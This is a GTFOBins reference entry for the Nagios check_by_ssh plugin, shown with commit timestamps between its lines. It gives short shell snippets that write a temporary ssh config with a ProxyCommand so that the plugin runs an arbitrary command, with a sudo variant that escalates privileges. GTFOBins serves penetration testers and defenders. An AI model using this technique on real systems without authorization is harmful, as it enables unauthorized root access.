GTFOBins.github.io/_gtfobins/check_by_ssh.md

22 lines
572 B
Markdown
Raw Normal View History

2020-11-12 14:21:00 +01:00
---
description: |
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
functions:
command:
- code: |
COMMAND=id
OUTPUT=output_file
2020-11-12 14:21:00 +01:00
TF=$(mktemp)
echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF
check_by_ssh -F $TF -H localhost -C something
2020-11-12 14:21:00 +01:00
cat $OUTPUT
sudo:
- code: |
COMMAND=id
OUTPUT=output_file
2020-11-12 14:21:00 +01:00
TF=$(mktemp)
echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF
sudo check_by_ssh -F $TF -H localhost -C something
2020-11-12 14:21:00 +01:00
cat $OUTPUT
---